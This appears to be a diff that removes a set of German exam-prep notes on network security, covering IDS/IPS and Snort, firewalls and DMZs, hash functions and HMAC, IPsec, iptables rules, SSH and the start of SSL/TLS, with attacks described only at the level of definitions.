- **RCE (Remote Code Execution)**: über präparierte Webseite/E-Mail
|
||||
- **Drive-by-Download**: unbemerktes Ausführen beim Webseitenbesuch
|
||||
---
|
||||
## 🧰 EXPLOIT FRAMEWORKS & KITS
|
||||
### Bekannte Exploit-Frameworks
|
||||
- **Metasploit**: umfangreichstes Toolkit
|
||||
- **BeEF**: Webbrowser-Exploits
|
||||
- **SET**: Social Engineering Toolkit
|
||||
- **Koadic**, **Empire**, **Merlin**: Post-Exploitation
|
||||
### Exploit Kits
|
||||
- Sammlung vieler Exploits
|
||||
- Ermittelt automatisch Schwachstellen auf Clients
|
||||
- Nutzt ggf. **Zero-Day Exploits**
|
||||
- Beispiel: Webbrowser öffnet präparierte Webseite → passender Exploit automatisch geladen
|
||||
---
|
||||
## 🧨 ANGRIFFSTECHNIKEN
|
||||
### XSS (Cross Site Scripting)
|
||||
- JavaScript-Code in Webseiten einschleusen
|
||||
- Zugriff auf Cookies, Inhalte, Benutzeraktionen
|
||||
### Pufferüberlauf (Buffer Overflow)
|
||||
- Speicherüberlauf durch zu große Eingabe
|
||||
- Shellcode überschreibt Rücksprungadresse (Stack)
|
||||
### Spoofing
|
||||
- **Identitätsfälschung** (IP/DNS/ARP Spoofing)
|
||||
- Umgehung von Firewalls
|
||||
### DoS / DDoS
|
||||
- **Denial of Service**: Dienstüberlastung (z. B. SYN-Flooding)
|
||||
- **Distributed DoS**: Angriff durch viele Systeme gleichzeitig
|
||||
---
|
||||
## 🕵️♂️ IDS / IPS – INTRUSION DETECTION / PREVENTION
|
||||
### Ziel
|
||||
- Erkennung und ggf. Verhinderung von Angriffen auf IT-Systeme
|
||||
### Unterscheidung:
|
||||
| IDS | IPS |
|
||||
| --------------------------- | ------------------------------ |
|
||||
| Erkennung & Alarmierung | Erkennung + aktive Blockierung |
|
||||
| Passiv | Aktiv |
|
||||
| Beispiel: **Snort** als IDS | Snort mit Blockier-Funktion |
|
||||
|
||||
---
|
||||
## 🧱 IDS-KOMPONENTEN
|
||||
- **Sensor**: erkennt Ereignisse (Datenquelle)
|
||||
- **Datenbank**: speichert Ereignisse
|
||||
- **Auswertestation**: analysiert, bewertet, alarmiert
|
||||
- **Managementstation**: Konfiguration & Regelpflege
|
||||
---
|
||||
## 🔎 IDS-TYPEN
|
||||
### NIDS (Netzwerkbasiert)
|
||||
- Analysiert Netzwerkverkehr
|
||||
- Erkennt z. B. Portscans, DoS, SQL-Injection
|
||||
- Nachteile: keine Analyse verschlüsselter Verbindungen (TLS), Mehrdeutigkeiten
|
||||
### HIDS (Hostbasiert)
|
||||
- Überwacht einzelnes System (Betriebssystem, Anwendungen)
|
||||
- Vorteile: sieht verschlüsselte Daten
|
||||
- Nachteile: hoher Aufwand, systembelastend, kann selbst Ziel sein
|
||||
### Hybrides IDS
|
||||
- Kombination aus NIDS & HIDS
|
||||
- Sensoren verteilt, zentrale Verwaltung
|
||||
---
|
||||
## 🧠 ERKENNUNGSMETHODEN
|
||||
### 1. **Signaturanalyse (Missbrauchsmuster)**
|
||||
- Vergleich mit bekannten Angriffsmustern
|
||||
- Vorteil: **gezielte Erkennung**
|
||||
- Nachteil: erkennt keine neuen Angriffe, false positives möglich
|
||||
### 2. **Anomalieerkennung**
|
||||
- Detektiert Abweichungen vom Normalverhalten
|
||||
- Vorteile: erkennt auch **unbekannte Angriffe**
|
||||
- Nachteile: hoher Aufwand, Datenschutzproblematik
|
||||
---
|
||||
## 🐝 HONEYPOTS
|
||||
### Definition
|
||||
- **Falle für Angreifer**
|
||||
- Stellt gezielt verwundbares System bereit
|
||||
### Arten
|
||||
|Typ|Eigenschaften|
|
||||
|---|---|
|
||||
|**High Interaction**|echtes System, realistische Analyse|
|
||||
|**Low Interaction**|emulierte Funktionen, sicherer, aber erkennbar|
|
||||
- **Client-Honeypots**: interagieren aktiv mit Servern
|
||||
- **Server-Honeypots**: lauschen passiv, analysieren eingehende Anfragen
|
||||
---
|
||||
## 🐍 SNORT – PRAKTISCHES BEISPIEL FÜR EIN IDS
|
||||
### Merkmale
|
||||
- Open Source IDS/NIPS
|
||||
- Besteht aus:
|
||||
- **Packet Sniffer**
|
||||
- **Logger**
|
||||
- **Detection Engine** (Regelbasierte Analyse)
|
||||
|
||||
- Erweiterbar mit:
|
||||
- Preprozessoren
|
||||
- Add-ons
|
||||
- Logging- und Alarmierungsmechanismen
|
||||
### Aufbau
|
||||
1. **Packet Decoder**: liest eingehende Pakete
|
||||
2. **Preprozessor**: erkennt z. B. Portscans
|
||||
3. **Detection Engine**: vergleicht mit Regeln (Snort Rules)
|
||||
4. **Output Plugins**: Logging, Alarmierung (z. B. Datenbank, Mail)
|
||||
### Snort Rules:
|
||||
- bestehen aus Header (IP, Port, Aktion) + Optionen (Inhalt, Alarmtext)
|
||||
---
|
||||
## ✅ ZUSAMMENFASSUNG – KLAUSURRELEVANT
|
||||
- Exploits = gezielte Ausnutzung von Schwachstellen
|
||||
- Exploit Kits bündeln viele Exploits, oft Zero-Day dabei
|
||||
- IDS erkennt Angriffe, IPS verhindert sie aktiv
|
||||
- NIDS ↔ HIDS: netzwerk- vs. hostbasiert
|
||||
- Signaturerkennung: gezielt, aber blind für neue Angriffe
|
||||
- Anomalieerkennung: erkennt Neues, aber komplex
|
||||
- Snort = praxisnahes IDS, regelbasiert
|
||||
- Honeypots zur Analyse & Täuschung von Angreifern
|
||||
@@ -1,90 +0,0 @@
|
||||
## 🔥 GRUNDLAGEN FIREWALLING
|
||||
### Was ist eine Firewall?
|
||||
- **Schutzmechanismus** zwischen vertrauenswürdigem und nicht-vertrauenswürdigem Netzwerk
|
||||
- Übernimmt die Rolle eines **Gateways**
|
||||
- Ziel: **Kommunikationsflüsse kontrollieren, filtern und absichern**
|
||||
### Ziele:
|
||||
- Zugriffskontrolle
|
||||
- Protokollierung
|
||||
- Absicherung gegen unbefugten Zugriff
|
||||
- Viren-, Makro-, & Intrusion Detection möglich
|
||||
---
|
||||
## 🔒 EINSATZBEREICHE
|
||||
1. **Outbound-Schutz** (Zugriffe vom Intranet → Internet)
|
||||
2. **Inbound öffentlich** (z. B. Webserver, Mailserver)
|
||||
3. **Inbound eingeschränkt** (z. B. VPN, Remote Work)
|
||||
---
|
||||
## 🧱 DMZ (De-Militarisierte Zone)
|
||||
- Separiertes Subnetz zwischen Internet und internem Netz
|
||||
- Über **2 Firewalls** von außen/innen abgeschottet
|
||||
- Einsatz für Server, die **von innen und außen erreichbar** sein müssen (z. B. Mail, Web)
|
||||
---
|
||||
## 🧰 FIREWALL-TYPEN IM ÜBERBLICK
|
||||
|Typ|Schicht|Merkmale|
|
||||
|---|---|---|
|
||||
|**Paketfilter (Screening)**|OSI 3–4|+ Schnell, einfach– Nur einfache Filterung (IP, Ports)– Kein Schutz gegen komplexe Angriffe|
|
||||
|**Transportschichtfilter**|OSI 4|+ Session-Überwachung– Nur legitime Sessions zugelassen|
|
||||
|**Application Gateway (ALG)**|OSI 7|+ Höchste Sicherheit+ Protokollanalyse möglich– Aufwändig, langsam, nicht skalierbar|
|
||||
|**Stateful Inspection**|OSI 3–7|+ Verbindungszustände erkennbar– komplex in Konfiguration|
|
||||
---
|
||||
## 🔄 PAKETFILTERUNG
|
||||
- Filtert anhand von:
|
||||
- Quell-/Zieladresse (IP)
|
||||
- Quell-/Zielport (TCP/UDP)
|
||||
- Protokoll (TCP, UDP, ICMP)
|
||||
- Flags (z. B. TCP-ACK)
|
||||
|
||||
- **Statisch** (nur Paketinhalt) oder **Stateful** (Zustandsbezug)
|
||||
- Vorteil: Effizient, günstig
|
||||
- Nachteil: Keine Authentifizierung, keine Applikationskontrolle
|
||||
---
|
||||
## 🧠 STATEFUL INSPECTION
|
||||
- **Verbindungsbezogenes Filtern**
|
||||
- Bezieht Kontext mit ein: Verbindung offen? Authentifiziert?
|
||||
- Vorteil: Transparent & flexibel
|
||||
- Nachteil: Komplex, keine physische Trennung, fehleranfällig
|
||||
---
|
||||
## 💻 APPLICATION LEVEL GATEWAY (ALG)
|
||||
- Arbeitet auf **Anwendungsschicht (Layer 7)**
|
||||
- Trennung von intern ↔ extern
|
||||
- Pro Dienst spezieller Proxy (FTP, HTTP, SMTP …)
|
||||
- Vorteile:
|
||||
- Vollständige Kontrolle & Protokollierung
|
||||
- Filterung auf Nutzdatenebene (z. B. Java-Applets blockieren)
|
||||
- Authentifizierung & Benutzerrechte
|
||||
|
||||
- Nachteile:
|
||||
- Rechenintensiv
|
||||
- Nicht skalierbar
|
||||
- Wartungsaufwendig
|
||||
|
||||
---
|
||||
## 🧱 PROXY & APPLICATION GATEWAYS
|
||||
- **Stellvertreterprinzip**: Proxy agiert anstelle des Clients
|
||||
- Kontrolliert & manipuliert Inhalte (URL, Mail-Betreff, Anhänge)
|
||||
- Integration in Client oder Netzwerk notwendig
|
||||
- Typisch für: SMTP, HTTP, FTP, SQL, TELNET etc.
|
||||
---
|
||||
## ⚖️ AUSWAHL EINER FIREWALL
|
||||
- Muss nur **notwendige Dienste zulassen**
|
||||
- **Transparente Sicherheit**: offene Architektur wünschenswert
|
||||
- **Resistenz gegen Angriffe**, minimaler Softwareumfang
|
||||
- Gute Produkte = weit verbreitet & getestet
|
||||
- Richtige Konfiguration = **entscheidend für Sicherheit**
|
||||
---
|
||||
## ⚠️ NACHTEILE & PROBLEME
|
||||
- Einschränkung von Nutzern/Diensten
|
||||
- Komplexität durch abweichende Portnutzung
|
||||
- Konfigurationsfehler = große Gefahr
|
||||
- Performanceverlust (Single Point of Failure möglich)
|
||||
---
|
||||
## 🚨 ANGRIFFE & UMGEHUNG
|
||||
- Ziel: Schwachstellen **hinter** der Firewall (z. B. Makros auf Client-PCs)
|
||||
- Wichtig: **IDS/IPS**-Integration + strenge Logfile-Analyse
|
||||
---
|
||||
## ✅ FIREWALL BEST PRACTICES
|
||||
- „**Alles verbieten, was nicht ausdrücklich erlaubt ist**“
|
||||
- Physische Zugriffs- & Änderungsrechte kontrollieren
|
||||
- Firewall-Logs regelmäßig auswerten
|
||||
- Konfigurationsmanagement konsequent umsetzen
|
||||
- Kombination mit anderen Schutzmaßnahmen (Antivirus, IDS, VPN etc.)
|
||||
@@ -1,85 +0,0 @@
|
||||
## 🧠 GRUNDLAGEN DER HASHFUNKTIONEN
|
||||
### Was ist eine Hashfunktion?
|
||||
- Einwegfunktion: beliebig lange Eingabe → fester Hashwert (Ausgabe).
|
||||
- Ziel: Aus Hashwert **kann nicht** auf Eingabe geschlossen werden.
|
||||
- Ein Hashwert = „digitaler Fingerabdruck“.
|
||||
### Eigenschaften einer **kryptografisch sicheren Hashfunktion**
|
||||
1. **Einweg-Eigenschaft**: h(M) einfach berechenbar, aber M aus h(M) unberechenbar.
|
||||
2. **Kollisionsresistenz**:
|
||||
- _Schwach_: Für gegebenes x ist es schwer, x′ ≠ x mit h(x) = h(x′) zu finden.
|
||||
- _Stark_: Es ist schwer, zwei beliebige x ≠ x′ mit h(x) = h(x′) zu finden.
|
||||
---
|
||||
## 🛠️ ANWENDUNGEN
|
||||
- **Passwort-Speicherung** (nur Hash, kein Klartext)
|
||||
- **Signaturen**: Signiere h(M), nicht M.
|
||||
- **Integritätsprüfung**: Prüfsummen, Manipulationserkennung (MIC, MDC)
|
||||
- **Authentifizierung**: MAC, HMAC
|
||||
---
|
||||
## 🔐 HASH-FUNKTIONSTYPEN
|
||||
|Typ|Beschreibung|
|
||||
|---|---|
|
||||
|UHF|Unkeyed Hash Function: h(M)|
|
||||
|KHF / MAC|Keyed Hash Function: h(M, k) oder h(M, s)|
|
||||
---
|
||||
## 📌 MDC & MAC UNTERSCHEIDUNG
|
||||
### MDC – Manipulation Detection Code
|
||||
- **OWHF**: One-Way Hash Function = Einweg + schwache Kollision
|
||||
- **CRHF**: Collision Resistant Hash Function = schwache + starke Kollision
|
||||
### MAC – Message Authentication Code
|
||||
- nutzt Schlüssel + Nachricht
|
||||
- Anforderungen:
|
||||
- einfache Berechnung
|
||||
- Kompression
|
||||
- resistent gegen Manipulation
|
||||
---
|
||||
## 🔁 AUFBAU EINER HASHFUNKTION
|
||||
1. Nachricht in Blöcke fester Länge teilen.
|
||||
2. Padding auf Vielfaches der Blocklänge.
|
||||
3. Iterative Verarbeitung mit Kompressionsfunktion.
|
||||
4. Ergebnis: finaler Hashwert.
|
||||
---
|
||||
## 📚 HASH-ALGORITHMEN IM VERGLEICH
|
||||
|Algorithmus|Hashlänge|Status / Schwächen|
|
||||
|---|---|---|
|
||||
|**MD2/MD4**|128 Bit|Veraltet, unsicher|
|
||||
|**MD5**|128 Bit|Kollisionen bekannt, nicht mehr sicher|
|
||||
|**SHA-1**|160 Bit|Kollisionen möglich (ab 2005), deprecated|
|
||||
|**SHA-2**|224–512 Bit|Aktuell sicher|
|
||||
|**SHA-3**|224–512 Bit|Alternative zu SHA-2 (Keccak)|
|
||||
|**RIPEMD-160**|160 Bit|Sicher, europäische Alternative|
|
||||
|**WHIRLPOOL**|512 Bit|Sicher, aber wenig untersucht|
|
||||
---
|
||||
## 🔁 HMAC (Hash-based MAC)
|
||||
- **Verwendet Hash + geheimen Schlüssel**
|
||||
- Schritte:
|
||||
1. Schlüssel ggf. kürzen/padden auf Blockgröße
|
||||
2. Zwei Pads: `ipad = 0x36`, `opad = 0x5C`
|
||||
3. HMAC = H(opad ⊕ k ∥ H(ipad ⊕ k ∥ M))
|
||||
- Einsatz in TLS, IPsec etc.
|
||||
- **Sichert Authentizität & Integrität**, **keine digitale Signatur**
|
||||
---
|
||||
## 💥 ANGRIFFE
|
||||
### Geburtstagsparadoxon
|
||||
- Wahrscheinlichkeit für Kollision steigt stark mit Anzahl an Inputs.
|
||||
- 50%-Kollisionschance bei ca. √(2^n) = 2^(n/2)
|
||||
### Angriffstypen
|
||||
|Typ|Beschreibung|
|
||||
|---|---|
|
||||
|**Pre-Image**|Gegeben h(x), finde ein x|
|
||||
|**Second Pre-Image**|Gegeben x, finde x′ ≠ x mit h(x) = h(x′)|
|
||||
|**Collision**|Finde x, x′ ≠ x mit h(x) = h(x′)|
|
||||
---
|
||||
## ❌ SICHERHEITSSCHWÄCHEN
|
||||
### MD5
|
||||
- Viele Kollisionen gefunden (z. B. durch Dobbertin, Wang, Stach)
|
||||
- Nicht mehr vertrauenswürdig
|
||||
### SHA-1
|
||||
- Kollisionen mit 2^63 Berechnungen möglich (statt 2^80)
|
||||
- Seit 2010 in den USA und vom BSI abgelehnt
|
||||
---
|
||||
## 📌 MERKREGELN FÜR DIE KLAUSUR
|
||||
- **Hash = Fingerabdruck**, nicht rückrechenbar
|
||||
- **Kollision = 2 verschiedene Eingaben → gleicher Hash**
|
||||
- **MDC = prüft Integrität**, **MAC = prüft Integrität + Authentizität**
|
||||
- **SHA-2 & SHA-3 = derzeit sicher**
|
||||
- **HMAC ≠ Signatur**, da symmetrisch!
|
||||
@@ -1,84 +0,0 @@
|
||||
## 🔐 GRUNDLAGEN: IPsec (Internet Protocol Security)
|
||||
- **IPsec** ist ein **protokollbasierter Sicherheitsstandard** für IPv4 & IPv6.
|
||||
- Ziel: **Integrität, Authentizität, Vertraulichkeit & Replay-Schutz** auf IP-Ebene.
|
||||
- Arbeitet **unterhalb der Transportschicht**, daher **transparent** für Anwendungen.
|
||||
---
|
||||
## 📦 PROTOKOLL-FAMILIE
|
||||
|Protokoll|Aufgabe|
|
||||
|---|---|
|
||||
|**AH** (Authentication Header)|Authentifizierung + Integrität|
|
||||
|**ESP** (Encapsulating Security Payload)|Vertraulichkeit + optional Authentifizierung|
|
||||
|**IKE** (Internet Key Exchange)|Schlüsselaustausch & SA-Verwaltung|
|
||||
---
|
||||
## 🔐 SICHERHEITSFUNKTIONEN
|
||||
- **Integrität**: mittels HMAC (z. B. SHA-1)
|
||||
- **Authentizität**: Absenderverifikation (HMAC)
|
||||
- **Vertraulichkeit**: symmetrische Verschlüsselung (AES etc.)
|
||||
- **Anti-Replay (ARS)**: Sequenznummern + Fenster (z. B. 64 Pakete)
|
||||
---
|
||||
## 🔁 ESP-MODI
|
||||
|Modus|Einsatz|Was wird verschlüsselt|
|
||||
|---|---|---|
|
||||
|**Transport-Mode**|Host-to-Host|Nur Payload|
|
||||
|**Tunnel-Mode**|Gateway-to-Gateway / Host-to-Gateway|gesamtes IP-Paket inkl. Header|
|
||||
---
|
||||
## 🔍 AH vs. ESP
|
||||
|Merkmal|AH|ESP|
|
||||
|---|---|---|
|
||||
|Authentifiziert IP-Header|✅|❌|
|
||||
|Verschlüsselung|❌|✅ (optional)|
|
||||
|Vertraulichkeit|❌|✅|
|
||||
|NAT-Kompatibilität|❌|✅ (Tunnel-Modus)|
|
||||
---
|
||||
## 🧠 SECURITY ASSOCIATION (SA)
|
||||
- **SA** = IPsec-„Verbindung“ (einseitig)
|
||||
- Definiert:
|
||||
- Protokolle & Algorithmen (ESP/AH)
|
||||
- Schlüssel, IVs, SPI (Security Parameter Index)
|
||||
- Gültigkeit (zeitlich oder traffic-basiert)
|
||||
|
||||
- Verwaltung:
|
||||
- **SAD**: Security Association Database
|
||||
- **SPD**: Security Policy Database (Policy-Entscheidung: BYPASS, PROTECT, DISCARD)
|
||||
|
||||
---
|
||||
## 🧰 IKE – INTERNET KEY EXCHANGE
|
||||
### Funktion
|
||||
- Schlüsselmanagement + SA-Aushandlung
|
||||
- Authentifizierung per:
|
||||
- **Pre-Shared Key (PSK)**
|
||||
- **Zertifikat (X.509)**
|
||||
|
||||
### Aufbau
|
||||
|Phase|Aufgabe|Protokolle|
|
||||
|---|---|---|
|
||||
|**Phase I**|Aufbau IKE-SA (sicherer Kanal)|ISAKMP, OAKLEY|
|
||||
|**Phase II**|Aufbau IPsec-SA|schnelles Schlüsselaushandeln|
|
||||
- Unterstützt **Main Mode**, **Aggressive Mode**, **Quick Mode**
|
||||
- IKEv2: schneller, effizienter, sicherer (unterstützt EAP, MOBIKE, NAT-Traversal)
|
||||
---
|
||||
## 🔐 AUTHENTIFIZIERUNG
|
||||
### PSK
|
||||
- HMAC über:
|
||||
- PSK
|
||||
- Nonces
|
||||
- Diffie-Hellman-Werte
|
||||
- Identitäten
|
||||
|
||||
### Zertifikate
|
||||
- Digitale Zertifikate (CA-signiert)
|
||||
- Prüfung via Signatur & Public Key
|
||||
---
|
||||
## 🌐 IPsec UND IPv6
|
||||
- AH/ESP sind **integraler Bestandteil** von IPv6 (Next Header 51 / 50)
|
||||
- Erweiterbar durch **Extension Header**
|
||||
- IPsec muss **explizit aktiviert & konfiguriert** werden
|
||||
- **AH funktioniert nicht mit NAT**, **ESP im Tunnel-Modus** schon
|
||||
---
|
||||
## ✅ KLAUSURRELEVANTE KERNAUSSAGEN
|
||||
- IPsec ist unabhängig vom Transportprotokoll und arbeitet auf **Netzwerkschicht (OSI Layer 3)**.
|
||||
- **ESP schützt Payload**, **AH schützt auch IP-Header (teilweise)**.
|
||||
- **IKEv2** wird bevorzugt eingesetzt (schneller, mobiler, sicherer).
|
||||
- **Anti-Replay-Schutz** ist standardmäßig aktiv (Sequenznummern + Fenster).
|
||||
- SPD regelt, **ob IPsec angewendet wird**; SAD enthält die Parameter dazu.
|
||||
- AH & ESP sind bei IPv6 **verpflichtend**, bei IPv4 **optional**.
|
||||
@@ -1,100 +0,0 @@
|
||||
## 🔥 GRUNDLAGEN: IPTABLES & NETFILTER
|
||||
### Was ist iptables?
|
||||
- Linux-Tool zur Konfiguration von **netfilter** (seit Kernel 2.4)
|
||||
- Nachfolger von `ipchains`, `ipfadm`
|
||||
- **Zentrale Aufgabe**: Regeln zur Filterung und Manipulation von IP-Paketen definieren
|
||||
- Besteht aus:
|
||||
- **Tabellen** (z. B. `filter`, `nat`, `mangle`)
|
||||
- **Ketten** (z. B. `INPUT`, `OUTPUT`, `FORWARD`)
|
||||
- **Regeln**
|
||||
|
||||
---
|
||||
## 📊 TABELLEN & KETTEN
|
||||
|Tabelle|Zweck|Enthält Ketten|
|
||||
|---|---|---|
|
||||
|`filter`|Paketfilterung (Standard)|`INPUT`, `OUTPUT`, `FORWARD`|
|
||||
|`nat`|IP/Port-Umschreibung (SNAT/DNAT)|`PREROUTING`, `POSTROUTING`, `OUTPUT`|
|
||||
|`mangle`|Modifikation von Header-Daten (QoS, TTL, etc.)|alle Ketten|
|
||||
---
|
||||
## 🔄 KETTEN (CHAINS)
|
||||
|Chain|Beschreibung|
|
||||
|---|---|
|
||||
|`INPUT`|Eingehende Pakete für lokalen Rechner|
|
||||
|`OUTPUT`|Vom lokalen Rechner ausgehende Pakete|
|
||||
|`FORWARD`|Weitergeleitete Pakete (Routerbetrieb)|
|
||||
|`PREROUTING`|Vor Routingentscheidung (z. B. DNAT)|
|
||||
|`POSTROUTING`|Nach Routingentscheidung (z. B. SNAT)|
|
||||
- Ketten enthalten **Regeln**, die in Reihenfolge geprüft werden
|
||||
- Jede Kette besitzt eine **Standardregel (Policy)** (z. B. `DROP`, `ACCEPT`)
|
||||
---
|
||||
## 🧾 BEFEHLE (AUSZUG)
|
||||
|Befehl|Beschreibung|
|
||||
|---|---|
|
||||
|`-F`|Alle Regeln in Kette löschen|
|
||||
|`-X`|Benutzerdefinierte Kette löschen|
|
||||
|`-P`|Policy (Standardverhalten) setzen|
|
||||
|`-A`|Regel anhängen|
|
||||
|`-I`|Regel an Position einfügen|
|
||||
|`-D`|Regel löschen|
|
||||
|`-L`|Regeln anzeigen|
|
||||
|`-N`|Neue benutzerdefinierte Kette erstellen|
|
||||
|`-Z`|Zähler zurücksetzen|
|
||||
---
|
||||
## 🧠 WICHTIGE PARAMETER
|
||||
|Parameter|Beschreibung|Beispiel|
|
||||
|---|---|---|
|
||||
|`-p`|Protokoll (`tcp`, `udp`, `icmp`)|`-p tcp`|
|
||||
|`-s`|Quelladresse|`-s 192.168.0.0/24`|
|
||||
|`-d`|Zieladresse|`-d 10.0.0.1`|
|
||||
|`-i`|Eingangsinterface|`-i eth0`|
|
||||
|`-o`|Ausgangsinterface|`-o ppp0`|
|
||||
|`--dport`|Zielport|`--dport 22`|
|
||||
|`-j`|Zielaktion (`ACCEPT`, `DROP`, `LOG`, `REJECT`, etc.)|`-j DROP`|
|
||||
---
|
||||
## 🧪 BEISPIELE
|
||||
```sh
|
||||
iptables -A INPUT -p icmp -j DROP
|
||||
# Blockiert alle Ping-Anfragen
|
||||
```
|
||||
```sh
|
||||
iptables -I INPUT 1 -p icmp -s 192.168.0.0/24 -j ACCEPT
|
||||
# Erlaubt ICMP (Ping) aus lokalem Netz vor DROP-Regel
|
||||
```
|
||||
```sh
|
||||
iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE
|
||||
# SNAT bei Verlassen des Rechners über ppp0
|
||||
```
|
||||
```sh
|
||||
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 3128
|
||||
# Portweiterleitung für transparenten Proxy
|
||||
```
|
||||
---
|
||||
## ⚙️ BENUTZERDEFINIERTE KETTEN
|
||||
Beispiel: Logging + Blocken
|
||||
```sh
|
||||
iptables -N log-drop
|
||||
iptables -A log-drop -j LOG -m limit --limit 6/minute
|
||||
iptables -A log-drop -j DROP
|
||||
iptables -A INPUT -p tcp --dport 22 -i ppp0 -j log-drop
|
||||
```
|
||||
---
|
||||
## 🧰 KOMPLETTES FIREWALL-SKRIPT (MINIMALE VARIANTE)
|
||||
```sh
|
||||
#!/bin/sh
|
||||
FW="/sbin/iptables"
|
||||
# 1. Regeln & Ketten löschen
|
||||
$FW -F
|
||||
$FW -X
|
||||
$FW -t nat -F
|
||||
# 2. Standardregeln: alles erlauben
|
||||
$FW -P INPUT ACCEPT
|
||||
$FW -P FORWARD ACCEPT
|
||||
$FW -P OUTPUT ACCEPT
|
||||
# 3. Ping blockieren
|
||||
$FW -A INPUT -p icmp -j DROP
|
||||
```
|
||||
---
|
||||
## ✅ BEST PRACTICE
|
||||
- **Besser**: „Blockiere alles, erlaube nur was nötig ist“ (Default: DROP)
|
||||
- Verwende `--state ESTABLISHED, RELATED`, um gültige Verbindungen zu erlauben
|
||||
- Speichere Regeln in Skripten (z. B. `/etc/network/firewall`) und rufe sie über `/etc/rc.local` auf
|
||||
@@ -1,105 +0,0 @@
|
||||
## 🔐 SSH – Secure Shell
|
||||
### Definition & Zweck
|
||||
- SSH ist ein **sicheres Protokoll für entfernte Verbindungen** zwischen Client & Server.
|
||||
- Ersatz für unsichere Protokolle wie Telnet, FTP, R-Login, RSH, etc.
|
||||
- Unterstützt: **Datenverschlüsselung, Authentifizierung, Integrität, Komprimierung**
|
||||
- SSH agiert als **Tunnelsystem**, transportiert z. B. SMTP, POP, X11 sicher.
|
||||
---
|
||||
## 🧱 ARCHITEKTUR
|
||||
### SSH besteht aus 3 Schichten:
|
||||
1. **Transportschicht-Protokoll**:
|
||||
- Authentifiziert Server, sichert Vertraulichkeit & Integrität.
|
||||
- Optional: Kompression.
|
||||
|
||||
2. **User-Authentifizierungsprotokoll**:
|
||||
- Authentifiziert Benutzer gegenüber dem Server.
|
||||
|
||||
3. **Verbindungsprotokoll**:
|
||||
- Multiplexing mehrerer Kanäle über eine SSH-Verbindung.
|
||||
|
||||
---
|
||||
## 🔐 SICHERHEIT
|
||||
- **Verschlüsselungsalgorithmen**: AES, DES, Blowfish, ArcFour, CAST128, Twofish
|
||||
- **Key Exchange**: RSA-basierte, asymmetrische Schlüsselaustauschverfahren
|
||||
- **Authentifizierung**: asymmetrisch (Public/Private Key)
|
||||
- Keine Schlüssel werden dauerhaft gespeichert (nur temporär im Speicher)
|
||||
---
|
||||
## 🗝️ AUTHENTIFIZIERUNG
|
||||
### 1. **Host-bezogen**
|
||||
- IP-basiert (unsicher)
|
||||
- RSA-basiert:
|
||||
- Public Key wird auf Server gespeichert
|
||||
- Client beweist Besitz des Private Keys
|
||||
|
||||
### 2. **User-bezogen**
|
||||
- **RSA-Authentifizierung** mit Challenge-Response
|
||||
- **Passwort** (verschlüsselt übertragen, aber weniger sicher)
|
||||
- **RHost-RSA**: Mischung aus IP + RSA
|
||||
---
|
||||
## 🔐 SCHLÜSSELPAARE
|
||||
- Jeder Client/Host besitzt ein eigenes RSA/ECDSA-Schlüsselpaar
|
||||
- Tools: `ssh-keygen`, PuTTYgen
|
||||
- Private Key: bleibt geheim auf Client
|
||||
- Public Key: wird auf Server (z. B. in `authorized_keys`) hinterlegt
|
||||
---
|
||||
## 🔁 VERBINDUNGSAUFBAU (Ablauf)
|
||||
1. **TCP-Verbindung** vom Client zum Server
|
||||
2. **Protokoll- & Versionsaustausch**
|
||||
3. **Umstieg auf binäres SSH-Protokoll**
|
||||
4. Server sendet:
|
||||
- Public Host Key (langfristig)
|
||||
- Public Server Key (flüchtig, stündlich neu)
|
||||
|
||||
5. Austausch der unterstützten Algorithmen
|
||||
6. Client generiert 256-Bit **Sitzungsschlüssel**
|
||||
7. Verschlüsselt diesen mit beiden Server-Keys → sendet verschlüsselt
|
||||
8. Server entschlüsselt mit privaten Keys
|
||||
9. Server schickt Quittung → verschlüsselte Verbindung aktiv
|
||||
10. Client authentifiziert sich
|
||||
11. Sitzung wird eingerichtet
|
||||
---
|
||||
## 🧠 SCHLÜSSELMANAGEMENT
|
||||
- **Private Schlüssel**:
|
||||
- Nie weitergeben, mit Passphrase sichern
|
||||
- Auth Agents wie `ssh-agent`, `Pageant` speichern Keys im Speicher
|
||||
|
||||
- **Public Keys**:
|
||||
- Nur vertrauenswürdige auf Server hinterlegen
|
||||
|
||||
---
|
||||
## 🛡️ SICHERHEITSFEATURES & ABSICHERUNG
|
||||
- **MiM-Angriffe** können durch Key-Verifikation verhindert werden
|
||||
- **Passwort-Auth deaktivieren** (empfohlen):
|
||||
- Konfigurierbar in `sshd_config`: `PasswordAuthentication no`
|
||||
|
||||
- **2FA möglich**
|
||||
- Analyse-Tool: `ssh-audit` zur Prüfung von Konfiguration und Sicherheit
|
||||
---
|
||||
## 🔧 BEFEHLE (OpenSSH)
|
||||
|Befehl|Beschreibung|
|
||||
|---|---|
|
||||
|`ssh`|Verbindung zum Server|
|
||||
|`sshd`|SSH-Serverdienst|
|
||||
|`ssh-agent`|Key-Agent|
|
||||
|`ssh-add`|Keys zum Agent hinzufügen|
|
||||
|`scp`|Dateiübertragung|
|
||||
|`sftp`|sicherer FTP-Ersatz|
|
||||
|`ssh-keygen`|Schlüsselpaar erzeugen|
|
||||
|`ssh-keyscan`|Schlüssel von Hosts abrufen|
|
||||
|`sftp-server`|Serverseitige SFTP-Komponente|
|
||||
---
|
||||
## 📦 SSH-PROTOKOLLVARIANTEN
|
||||
|Variante|Merkmale|
|
||||
|---|---|
|
||||
|**SSH1**|unsicher, veraltet|
|
||||
|**SSH2**|neuer, sicherer (neu geschrieben, bessere Kryptografie)|
|
||||
|**OpenSSH**|Open-Source, nutzt OpenSSL für Krypto, unterstützt SSH1 & SSH2|
|
||||
---
|
||||
## ✅ KLAUSURRELEVANTE PUNKTE
|
||||
- SSH ersetzt unsichere Protokolle → **verschlüsselt alles**
|
||||
- Authentifizierung über **RSA/ECDSA Schlüsselpaar**
|
||||
- Sitzungsschlüssel durch asymmetrische Verschlüsselung ausgetauscht → dann symmetrisch
|
||||
- Tools wie `ssh-agent` & `ssh-add` erhöhen Sicherheit & Komfort
|
||||
- **Passwortauthentifizierung deaktivieren** (wo möglich)
|
||||
- **ssh-audit** zur Analyse verwenden
|
||||
- SSH2/OpenSSH = **Standard**, SSH1 = **veraltet**
|
||||
@@ -1,104 +0,0 @@
|
||||
## 🔐 GRUNDLAGEN VON SSL / TLS
|
||||
### Was ist SSL/TLS?
|
||||
- SSL (Secure Socket Layer): ursprünglich von Netscape entwickelt.
|
||||
- TLS (Transport Layer Security): Weiterentwicklung von SSL 3.0 durch IETF.
|
||||
